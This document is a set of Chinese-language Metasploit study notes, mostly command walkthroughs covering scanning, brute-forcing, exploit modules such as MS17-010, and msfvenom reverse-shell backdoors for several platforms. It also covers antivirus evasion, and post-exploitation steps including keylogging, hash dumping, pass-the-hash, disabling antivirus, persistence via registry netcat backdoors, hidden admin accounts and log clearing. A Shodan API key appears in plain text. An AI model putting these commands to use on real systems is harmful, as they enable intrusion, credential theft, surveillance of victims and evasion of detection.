MSF
Metasploit FrameWork MSF
渗透测试攻击框架
metasploit v4.14.10-dev
开发版是免费的,自动集成在kali 里
正式版是收费的
https://www.metasploit.com/
https://github.com/rapid7/metasploit-framework
跨平台的
诸葛建伟 《Metasploit 魔鬼训练营》
msf 中的脚本都是ruby 语言写的
利用“永恒之蓝”直接入侵目标系统
永恒之蓝 MS17-010
metasploit v4.16.48-dev
payload
就是我们渗透攻击是所使用的代码
msfconsole 启动msf 控制台
search 搜索某一个模块
use 使用某一个模块
show options 查看某一个模块的配置
set 命令
set RHOST 设置远程目标地址
set LHOST 设置本机地址
set payload windows/x64/meterpreter/reverse_tcp
meterpreter 系列
一般使用tcp 反弹连接
windows/x64/meterpreter/reverse_tcp
show payloads 显示所有可用的payload 模块
show targets 显示可用的目标
exploit
MS17-010 缓冲区溢出漏洞
比较底层 而且与系统架构和程序的内存空间有关系
程序的运行时逐条执行
通过缓冲区溢出漏洞改变了程序的执行流程
meterpreter
技术优势
平台通用性
纯内存工作模式
灵活且加密的通信协议
易于扩展
基本命令
background
sessions
sessions -i 1
quit
shell
metsploit
sync 保存当前配置
metasploit(msf)
渗透攻击(exploit)
测试者利用系统,程序,或者服务的漏洞进行攻击的过程
攻击载荷(payload)
攻击者在目标系统上执行一段攻击代码,该代码具有反弹连接,创建用户,执行其他系统命令的功能
shellcode
在目标机器上运行的一段机器指令,成功执行后会返回一个shell(相当于木马的服务端,可以主动连接客户端)
模块(module)
指metasploit框架中所使用的一段软件代码组件
监听器(listener)
metasploit中用来等待接入网络连接的组件
msf模块
aux辅助模块(主要完成信息收集)
exploit模块(进行渗透攻击)
post后渗透攻击模块(进行主机控制和拓展攻击)
meterpreter后渗透攻击模块(对目标主机的持久控制)
msf可以实现对指定的攻击载荷进行自动化编码机制绕过攻击限制与检测机制。
=[ metasploit v4.17.31-dev ]
+ — –=[ 1842 exploits – 1041 auxiliary – 320 post ]
+ — –=[ 541 payloads – 44 encoders – 10 nops ]
+ — –=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
模块
exploits 渗透攻击模块
auxiliary 辅助模块
post 后渗透攻击模块
payloads 攻击载荷模块
encoders 编码器模块
nops 空指令模块
接口
msfconsole 控制台
msfcli 命令行
msfgui 图像化界面
armitage 图形化界面
msfapi 远程调用接口
msf启动设置
msf与postgresql协同工作
msfdb
msfdb init
msfconsole
进入后输入db_status查看数据库连接状态
连接成功,简单易操作,重新建立缓存
msf > db_rebuild_cache
最后把postgresql设置为开机自启
root@kali:~# update-rc.d postgresql enable
workspace -a test 创建一个工作台
删除 -d 选项
进入 test 工作台
workspace test
使用nmap
db_nmap -sS 192.168.199.103 扫描主机
db_export 1.xml 导出扫描结果
db_import 2.xml 导入扫描结果
hosts 查看扫描的目标
db_services 查看扫描结果
db_hosts -C address 查看导入的主机ip
msf > nmap -v -sV 192.168.199.237
信息搜集模块
1.whois查询
msf > whois testfire.com
msf > whois 8.8.8.8
2.http://searchdns.netcraft.com 在线搜集服务器 IP信息工具
3.nslookup
msf > nslookup
> www.baidu.com
高级扫描方式
search scanner
扫描ip段中存活的ip
use auxiliary/scanner/ip/ipidseq #ipid序列扫描器,与nmap -sI -O选项类似
show options
set RHOSTS 192.168.199.1/24
set RPORT 80
set THREADS 50
run
(RHOST、RPORT等参数也可以小写)
使用portscan端口扫描模块
search portscan
auxiliary/scanner/portscan/syn
set threads 50(真实使用时线程尽可能小,线程过大目标容易死机)
run
特定扫描
smb_version模块:
search scanner/smb
use auxiliary/scanner/smb/smb_version
show options
set rhosts 192.168.199.1/24
run
db_hosts -c address,os_flavor
找mysql主机:
msf > search /scanner/mysql
msf > use auxiliary/scanner/mysql/mysql_version
msf > show options
msf > set rhosts 192.168.199.1/24
msf > threads 50(线程过大容易宕机)
msf > run
SSH服务器扫描
msf > search /scanner/ssh
msf > use auxiliary/scanner/ssh/ssh_version
msf > show options
msf > set rhosts 192.168.199.1/24
msf > threads 50
msf > run
telnet服务扫描(同上)
msf > search /scanner/telnet
msf > use auxiliary/scanner/telnet/telnet_version
扫描ftp匿名登录
msf > search /scanner/ftp
msf > use auxiliary/scanner/ftp/anonymous
VNC身份认证
search /scanner/vnc
use auxiliary/scanner/vnc/vnc_none_auth
WMAP是一款轻量级的web漏洞扫描器
WMAP
msf > load wmap 启动wmap
msf > wmap_sites 查看选项
msf > wmap_sites -a http://www.payload.com 添加一个URL
msf > wmap_sites -l 查看添加的网站信息
msf > wmap_targets -t http://107.170.124.147
msf > wmap_targets -l 查看是否写入成功
msf > wmap_run -h 查看扫描选项
msf > wmap_run -t
msf > wmap_run -e
msf > wmap_vulns -l
msf > vulns 列出发现的漏洞信息
扫描局域网中的存活主机
msf > search /scanner/discovery
msf > use auxiliary/discovery/arp_sweep
扫描网站目录
msf > search /scanner/http/dir
msf > use auxiliary/scanner/http/dir_scanner
扫描SNMP主机(主机管理):
msf > search /scanner/snmp
msf > use auxiliary/scanner/snmp/snmp_login
开放代理探测与利用
msf > search open_proxy
msf > use auxiliary/scanner/http/open_proxy
set RHOSTS 192.168.199.1/24
set MULTIPORTS true
set THREADS 100
run
root@kali:~# openvas-start 开启
在msf中使用openvas
msf > open openvas
msf > openvas_connect admin admin 192.168.199.103 9390 ok
搜索网站中的E-mail地址
msf > search search_email
msf > use auxiliary/gather/search_email_collector
> show options
> set Domain testfire.com
嗅探抓包
msf > search sniffer
msf > use auxiliary/sniffer/psnuffle
口令爆破模块
ssh口令爆破
msf > search /scanner/ssh
msf > use auxiliary/scanner/ssh/ssh_login
> set rhosts 192.168.199.238
> set PASS_FILE pass.txt
> set USERNAME root
> exploit
tomcat爆破
msf > search tomcat
msf > auxiliary/scanner/http/tomcat_mgr_login
telnet爆破
msf > search tomcat
msf > use auxiliary/scanner/telnet/telnet_login
ftp爆破
msf > search ftp
msf > use auxiliary/scanner/ftp/ftp_login
samba爆破
msf > search smb
msf > use auxiliary/scanner/smb/smb_login
rdp、postgresql、mysql、mssql等等其他服务用法类似
漏洞利用模块
metasploit常用漏洞利用命令
用指定关键字搜索可利用漏洞:
search <name>
使用漏洞:
use <exploit name>
显示选项:
show options
设置选项:
set <OPTION NAME> <option>
显示装置:(用来回连的攻击载荷)
show payloads
显示目标(os版本):
show targets
设置目标版本:
set targets <target number>
开始漏洞攻击:
exploit
sessions -I 列出会话
sessions -i <ID> 选择会话
sesssion -k <ID> 结束会话
Ctrl + z 会话放到后台
Ctrl + c 结束会话
show auxiliary 显示辅助模块
use <auxiliary name> 使用辅助模块
set <option name> <option> 设置选项
run 运行模块
auxiliary常用模块
admin 管理模块漏洞(绕过、上传、下载等)
analyze 身份认证漏洞
client 客户端漏洞
dos 操作系统漏洞
fileformat 文件格式
fuzzers 模糊测试
gather 信息收集
scanner 扫描爆破
server(dns、dhcp、ftp等) 服务漏洞
spoof 欺骗
sqli 注入
VoIP 网关协议等
测试漏洞
ms10_002
ms10_018
ms12_020
ms10_046
ms08_067(xp远程代码执行)
ms12_004(xp、server2003、win7文件解析远程代码执行)
linux samba 漏洞利用
dll 注入攻击
MS10_002
实验环境:kali+xp
msf > search ms10_002
msf > use exploit/windows/browser/ms10_002_aurora
show payloads
set paylaod
> set payload windows/meterpreter/reverse_tcp
show options
> set SRVHOST 192.168.199.165
> set SRVPORT 80
> set URIPATH /
> set LHOST 192.168.199.165
> set LPORT 444
使用会话1
> sessions -i 1
meterpreter > shell
ms10_018 microsoft IE畸形对象操作内存破坏漏洞
受影响系统:
win7(IE7.0)
IE 6.0
IE 6 SP1
msf > search ms10_018
msf > use exploit/windows/browser/ms10_018_ie_behaviors
> show payloads
> set payload windows/shell/reverse_tcp
> set SRVHOST 192.168.199.165 (本机地址)
> set SRVPORT 83
> set URIPATH /
> set LHOST 192.168.199.165(由于采用reverse_tcp反向连接技术,故该地址为反向监听的地址)
> set LPORT 1222
> exploit
sessions -i 查看会话
sessions -i 1 使用会话1
ms12_020(蓝屏)
search ms12_020
use auxiliary/scanner/rdp/ms12_020_check (扫描开启3389的主机)
show options
set RHOSTS 192.168.199.1/24
set THREADS 50
run
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
show options
set RHOSTS 192.168.199.237
run
ms10_046
受影响系统:xp、win7、winserver2008
use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
ms12_004
use exploit/windows/browser/ms12_004_midi
> set payload windows/meterpreter/reverse_tcp
linux samba漏洞
影响版本:samba3.0 debian
search samba
use exploit/linux/samba/lsa_transnames_heap
show payloads
set payload linux/x86/shell_bind_tcp
show options
set RHOST 192.168.199.199
set LPORT 8080
exploit
dll注入攻击
msf > search webdav_dll
msf > use exploit/windows/browser/webdav_dll_hijacker
set payload windows/meterpreter/reverse_tcp
> set SRVHOST 192.168.199.165
> set SRVPORT 80
> set LHOST 192.168.199.165
set LPORT 1015
exploit
Ndproxy内核提权
前提 有一个会话
meterpreter > exit
sessions
search ms14-002
exploit/windows/local/ms_ndproxy
show options
set session 1
exploit
getuid
meterpreter > getsystem (meterpreter下直接提权)
内网渗透
meterpreter > run autoroute -s 192.168.199.1/24
meterpreter > run autoroute -p (活跃的路由表)
xss利用
msf > search keylogger
msf > use auxiliary/server/capture/http_javascript_keylogger
set DEMO true
set SRVPORT 80
run
msf shellcode的使用(后门)
windows
linux
android
java
php
windows后门
生成shellcode
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.165 LPORT=444 -f exe > shell.exe
侦听shellcode
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.199.165
set LPORT 444
exploit
将生成的shell.exe发送或上传到目标系统并执行即可拿到反弹shell系统权限
——————————————————————–
Linux后门
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.199.165 LPORT=444 -f elf > shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.165 LPORT=444 -f exe > shell.exe
———————————————————————
android后门
生成android shellcode
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.199.165 LPORT=444 -f apk > shell.apk
侦听shellcode
use exploit/mutli/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.199.165
set LPORT 444
exploit
dump_contacts 导出电话
dump_sms 导出信息
Webcam_list 摄像头列表
-i 1 选择某个摄像头
webcam_snap 拍照
webcam_stream 开启摄像头
java后门
生成shellcode
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.199.165 LPORT=444 -f jar > shell.jar
侦听shellcode
use exploit/mutli/handler
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.199.165
set LPORT 444
exploit
php后门
生成shellcode
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.199.165 LPORT=444 -f php > shell.php
侦听shellcode
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.199.165
set LPORT 444
exploit
其余类型如python、jsp、asp、war、mac等用法类似
shellcode常规免杀
使用多重编码免杀
加壳免杀
upx免杀 root@kali:~# upx -5 shell.apk
veil免杀
shellter免杀(给正常exe注入代码)
Kali Linux:
apt-get update
apt-get install shellter
shellter
(需要wine环境apt-get install wine32)
meterpreter>getuid
meterpreter>hushdump(获取密码hash)
kali linux 64位上安装32位的wine
在终端下输入
dpkg –add-architecture i386
apt-get update
apt-get install wine32
安装会有一个error提示 提示使用apt-get update来修复,那就继续输入apt-get update
apt-get install wine32
OK
meterpreter常用命令
对反弹的shellcode进行利用的平台
截屏 screenshot
获取系统运行的平台 sysinfo
获取键盘记录
keyscan_start
keyscan_dump
ps 查看进程
migrate 1744 切换进程
run post/windows/capture/keylog_recorder 记录键盘记录
hashdump 获取hash
新开一个终端开启msf(hash值传递渗透)
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.199.165
set LPORT 9999
set RHOST 192.168.199.103
show options
set SMBUser Administrator
set SMBPass xxxxxxxxxx
exploit
成功使用hash登录目标机器
meterpreter持久控制PC机
进程迁移
run post/windows/manage/migrate(自动查找稳定的进程并切换)
关闭杀软
run killav
查看目标机所有流量
run packetrecorder -i 1
提取系统信息
run scraper
持久控制
设置后门每50秒外连一次
run persistence -X -i 50 -p 1111 -r 192.168.199.165
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.199.165
set LPORT 1111
exploit
sessions -u 2 升级shell变meterpreter
持久控制服务器
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.165 LPORT=3333 -f exe > shell.exe
前提条件服务器系统可以
run metsvc -A 安装后门
msfconsole
use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set LPORT 31337(固定端口不可变)
set RHOST 192.168.199.103
exploit
在metaploit中捕获包
获得meterpreter shell后使用
meterpreter>run packetrecorder 捕获目标系统数据包
meterpreter>run packetrecorder -li 查看可用的捕获网络接口
meterpreter>run packetrecorder -i 1 -l /root 指定捕获接口并将捕获文件保存到root
msf对samba的usermap进行利用
search samba/usermap
use exploit/multi/samba/usermap_script
info exploit/multi/samba/usermap_script 查看usermap_script的详细信息
set RHOST 192.168.199.103
exploit
使用metasploit实现shodan搜索;
1.在sodan网站注册账号
2.获取网站api key
API Key: DIBm9sd41tZlOecdazy9LdgQYV6SI2WE
3.启动postgresql:service postgresql start
4.启动metaploit
5.search shodan_search
use auxiliary/gather/shodan_search
set SHODAN_APIKEY DIBm9sd41tZlOecdazy9LdgQYV6SI2WE
set QUERY iomega
run
修改网卡配置信息:
sudo vim /etc/network/interfaces
重启
sudo /etc/init.d/networking restart
配置路由信息
vim /etc/sysctl.conf
设置转发规则
echo 1 > /proc/sys/net/ipv4/ip_forward
内存攻击
攻击者利用软件安全漏洞构造恶意输入导致软件在处理输入数据时出现非预期错误,将输入数据写入内存中某些特定敏感位置,从而劫持软件控制流,
而执行外部输入的指令代码,造成目标系统被远程控制或拒绝服务。
缓冲区溢出漏洞
程序由于缺乏对缓冲区的边界条件检查而引起的一种异常行为,通常是程序向缓冲区中写数据,但内容超过了程序员设定的缓冲边界,造成程序的非预期行为。
栈溢出
栈溢出发生在程序向位于栈中的内存地址写数据时,当写入的数据长度超过栈分配给缓冲区的空间时,就会造成栈溢出,理想情况下可以执行任意代码
堆溢出
堆是程序运行时动态分配的内存
msf中自动化浏览器攻击
search browser_autopwn
use auxiliary/server/browser_autopwn
Adobe渗透测试
meterpreter命令
信息窃取—dumplinks
meterpreter > run post/windows/gather/dumplinks
获得目标主机最近进行的系统操作、访问文件和office文档操作记录
enum_applications模块
meterpreter > run post/windows/gather/enum_applications
获得目标主机安装的软件、安全更新与漏洞补丁的信息
键盘记录器
meterpreter > keyscan_start 启动键盘记录
meterpreter > keyscan_dump 输出截获到的用户输入
meterpreter > keyscan_stop 退出
使用数据包嗅探模块
meterpreter >use sniffer
读取浏览器缓存
meterpreter > run post/windows/gather/enum_ie
包括目标主机IE浏览历史记录、保存到cookie、IE缓存的密码等都保存到本地文件中
smart_hashdump后渗透攻击模块工作流程:
meterpreter > run windows/gather/smart_hashdump
1.检查会话具有的权限和目标操作系统类型
2.检查目标机是否是域控服务器
3.首先尝试直接从注册表中读取哈希值,不成功的话再尝试注入LSASS进程。
如果是域控制器将直接对LSASS进程进行注入。
4.如果目标系统是win 2008 server,而且会话具有管理员权限,这时使用getsystem命令尝试获得system权限,如果system权限下不能注入LSASS进程,这时会用migrate命令将代码移植到已经运行在system权限下的进程中,然后再对LSASS进程进行注入;
5.如果检测到目标系统是win7/vista,UAC已经关闭,而且会话具有本地管理员权限,这时运行getsystem命令从注册表中读取;
6.在win2003/2000/xp系统下直接运行getsystem命令,如果成功再从注册表中读取哈希值。
可以看出,start_humpdump模块考虑了在多种系统环境下密码哈希获取的差异,以及在LSASS进程注入不成功情况下的解决办法,成功率提升不少。
但是如果win7开启了UAC,获取密码哈希和getsystem命令都会失败,这时则需要首先使用绕过win7 UAC的后渗透攻击模块。
获得目标系统hash后两种利用方式
1.破解hash进行利用(针对简单口令)
2.直接重放利用,利用获取的口令进行哈希传递攻击
内网拓展
以攻陷的主机作为跳板,在对内网中其他机器进行攻击。
添加路由
meterpreter > run get_local_subnets
meterpreter > background
route add 192.168.199.0/24 255.255.255.0 2 告知系统将192.168.199.0/24网段(即受控主机本地网络)通过攻击会话2进行路由。
route print 显示当前活跃的路由设置
可以看到msf成功的在会话上添加了该网段的路由,这意味着你对该网段所有的攻击和控制的流量都将通过会话1进行转发。
2.进行445端口进行扫描
search scanner/postscan/tcp
set RHOSTS 192.168.199.0/25
set RPORT 445
run
3.攻击过程
对扫描到的机器进行攻击
msf > use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.199.165
set LPORT 443
set RHOST 192.168.199.103
set SMBPass xxx
exploit
使用droplink的post模块在目标机器C:windowssystem32目录创建work.lnk文件。
msf > search droplnk
msf > use post/windows/escalate/droplnk
5.搭建SMB服务器
msf > search windows/smb
msf > use exploit/windows/smb/smb_relay
set SRVHOST 192.168.199.100
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.199.165
exploit
使用jobs 查看运行状态
环境搭建好了,就等着鱼儿上钩了
最后一步,清除痕迹
利用kali linux光盘或者usb启动盘破解windows密码
测试目标 win7、win8
自启动postgresql
update-rc.d postgresql enable
db_import kfnmap.xml
hosts -c address
services 查看主机开放的服务
端口扫描
search scanner/portscan
migrate 1044 进程注入
meterpreter
运行脚本 run vnc
迁移进程 run post/windows/manage/migrate
关闭杀软 run killav
获取hash密码 hashdump
查看流量 run packetrecorder -li 1
获取操作信息信息 run scraper
创建持久后门 run persistence -X -i 50 -p 4445 -r 192.168.199.165
use multi/handler
set paylaod windows/meterpreter/reverse_tcp
set LPORT 4445
set LHOST 192.168.199.165
run
Raingun组件
提供了在meterpreter中调用windows api的能力
meterpreter > irb
>> client.railgun.user32.MessageBoxA(0,’hello’,’world’,MB_ok)
目标系统会弹出一个hello world的弹窗。
payload分离免杀针对win32位系统
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.199.165 lport=8080 -e x86/shikata_ga_nai -i 5 -f raw > test.c
Desktopshellcode_launcher-master>shellcode_launcher.exe -i test.c
使用execute执行程序
meterpreter > execute -f 1111.exe
execute -f<file> [Options]
运行后它将执行file参数所指定的文件。可选参数如下:
-H:创建一个隐藏进程
-a:传递给命令的参数
-i:跟进程进行交互
-m:从内存中执行
-t:使用当前伪造的线程令牌运行进程
-s:在给定会话中执行进程
启用远程桌面(rdesktop 192.168.192.xxx)
当我们新添加的用户已经拥有远程桌面权限之后,我们就可以使用这个账号凭证来开启远程桌面会话了。
首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),不过我们的getgui脚本可以帮我们搞定。我们可以使用-e参数确保目标设备开启了远程桌面功能(重启之后同样会自动开启):
meterpreter > run getgui -e
在开启远程桌面会话之前,我们还需要使用“idletime”命令检查远程用户的空闲时长:
meterpreter > idletime
User has been idle for: 1 hour 4 mins 49 secs
键盘记录
Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:
keyscan_start:开启键盘记录功能
keyscan_dump:显示捕捉到的键盘记录信息
keyscan_stop:停止键盘记录功能
清除日志
meterpreter > clearev
meterpreter 持久化访问的多种方式
meterpreter 在获取shell之后,如何持续控制目标主机,即在目标主机重启或下次开机后能自动连接到攻击主机上,不必每次都需要进行攻击取得 meterpreter。
1. 通过persistence脚本
meterpreter > run persistence -X -i 5 -p 4444 -r 192.168.199.165
-X 开机自启动
-i <num> payload重连的间隔时间
-p 反向连接端口号
-r 反向连接IP地址
2. 通过metsvc服务的方式
运行”run metsvc”将会在目标主机上以Meterpreter的服务的形式注册在服务列表中,并开机自动自动。运行”run metsvc -r”卸载目标主机上的Meterpreter服务。
meterpreter > run metsvc
3. 通过开启远程桌面
强制开启目标主机远程桌面并自动添加用户名为metasploit密码为meterpreter的用户
run getgui -u metasploit -p meterpreter
# 上面命令会生成清理痕迹的ruby的脚本文件,位置在/root/.msf4/logs/scripts/getgui/clean_up_xxxxx.rc
# 当操作完目标用户后可以使用此脚本清理痕迹、关闭远程桌面服务和删除创建的用户
un multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up_xxxxx.rc
4. 通过nc(netcat)
# 上传nc.exe至目标主机
meterpreter > upload /root/Desktop/nc.exe c:\windows\system32
# 枚举查看注册表启动项
meterpreter > reg enumkey -k HKLM\software\microsoft\windows\currentversion\run
# 将nc.exe设置到注册表启动项中
meterpreter > reg setval -k HKLM\software\microsoft\windows\currentversion\run -v
nc -d ‘c:windowssystem32
c.exe -Ldp 455 -e cmd.exe’
# 查看以确定nc已经被设置到注册表启动项中
meterpreter > reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v
nc
# 进入目标系统cmd
eterpreter > execute -f cmd -i
# 查看目标系统当前防火墙规则
c:Document and Setting
ushDesktop > netsh firewall show opmode
# 将nc开放的端口加入到目标系统防火墙规则中
c:Document and Setting
ushDesktop > netsh firewall add portopening TCP 455 “Service Firewall” ENABLE ALL
# 查看目标系统防火墙端口开放状态
c:Document and Setting
ushDesktop > netsh firewall show portopening
# 转至攻击主机上,执行nc连接到目标主机上,得到shell
nc
-v
192.168.0.3 455
5. 目标主机创建隐藏用户
# 创建用户(注意这里用户使用了$符号,可以起到隐藏创建用户的目的)
c:Document and Setting
ushDesktop > net user hacker$ hacker /add
# 将创建的用户添加到管理员组
c:Document and Setting
ushDesktop > net localgroup administrators hacker$ /add
免杀工具—Veil-Evasion
项目地址:https://github.com/Veil-Framework/Veil-Evasion Veil-Evasion是与Metasploit生成相兼容的Payload的一款辅助框架,并可以绕过大多 数的杀软。
git clone https://github.com/Veil-Framework/VeilEvasion.git
/setup.sh 安装
msf内置search模块,在实战中,为了更快速的找到对应模块,它提供了type参数(未来会 具体讲到模块参数),以ftp模块为例。
msf > search type:auxiliary ftp
msf > use auxiliary/scanner/ftp/ftp_version
show options
显示中requeried 列为yes则为必填项,必须得设置参数。
set RHOSTS 192.168.199.103
set THREADS 50
exploit
use auxiliary/scanner/ftp/ftp_login
set RHOSTS 192.168.199.103
set USERNAME administrator
set PASS_FILE /root/wordlist.txt
exploit
ftp本地模糊测试辅助模块:
search fuzzers/ftp
use auxiliary/fuzzers/ftp/ftp_pre_post